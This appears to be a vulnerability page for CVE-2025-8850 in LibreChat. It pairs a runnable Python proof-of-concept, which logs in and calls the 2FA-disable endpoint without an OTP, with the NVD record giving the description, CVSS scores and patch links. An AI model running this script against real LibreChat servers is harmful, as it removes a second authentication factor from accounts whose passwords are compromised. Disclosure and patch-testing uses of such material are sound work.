CVE-2025-8850

import requests import json # CVE-2025-8850 PoC - LibreChat 2FA Disable Bypass # Target: danny-avila/librechat <= 0.7.9 TARGET_URL = "http://target-server.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/api/auth/login" DISABLE_2FA_URL = f"{TARGET_URL}/api/auth/2fa/disable" def exploit_cve_2025_8850(username, password): """ Exploit: 2FA disable without valid OTP/backup code Attack vector: Direct API call to /api/auth/2fa/disable """ session = requests.Session() # Step 1: Login to get valid session login_data = { "email": username, "password": password } login_response = session.post(LOGIN_URL, json=login_data) if login_response.status_code != 200: print(f"[-] Login failed: {login_response.status_code}") return False print("[+] Login successful, got valid session") # Step 2: Disable 2FA without OTP (VULNERABLE CODE) # The API should require valid OTP or backup code, but it doesn't disable_payload = { # Intentionally NOT providing OTP or backup_code # This should fail but due to the vulnerability, it succeeds } disable_response = session.post(DISABLE_2FA_URL, json=disable_payload) if disable_response.status_code == 200: print("[+] SUCCESS: 2FA has been disabled without OTP!") print(f"[+] Response: {disable_response.json()}") return True else: print(f"[-] Failed: {disable_response.status_code}") print(f"[-] Response: {disable_response.text}") return False if __name__ == "__main__": # Usage example username = "[email protected]" password = "password123" exploit_cve_2025_8850(username, password)

{"cve": {"id": "CVE-2025-8850", "sourceIdentifier": "[email protected]", "published": "2025-10-30T20:15:39.633", "lastModified": "2025-11-19T15:27:48.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In danny-avila/librechat version 0.7.9, there is an insecure API design issue in the 2-Factor Authentication (2FA) flow. The system allows users to disable 2FA without requiring a valid OTP or backup code, bypassing the intended verification process. This vulnerability occurs because the backend does not properly validate the OTP or backup code when the API endpoint '/api/auth/2fa/disable' is directly accessed. This flaw can be exploited by authenticated users to weaken the security of their own accounts, although it does not lead to full account compromise."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-440"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:0.7.9:-:*:*:*:*:*:*", "matchCriteriaId": "74A99A2E-023B-4C39-9696-61DA01C9284E"}]}]}], "references": [{"url": "https://github.com/danny-avila/librechat/commit/7e4c8a5d0d2dbe5bf8fd272ff6acafb27d24744f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://huntr.com/bounties/8e615709-f4de-41e2-b194-f0d91ed7c75e", "source": "[email protected]", "tags": ["Exploit", "Patch", "Third Party Advisory"]}]}}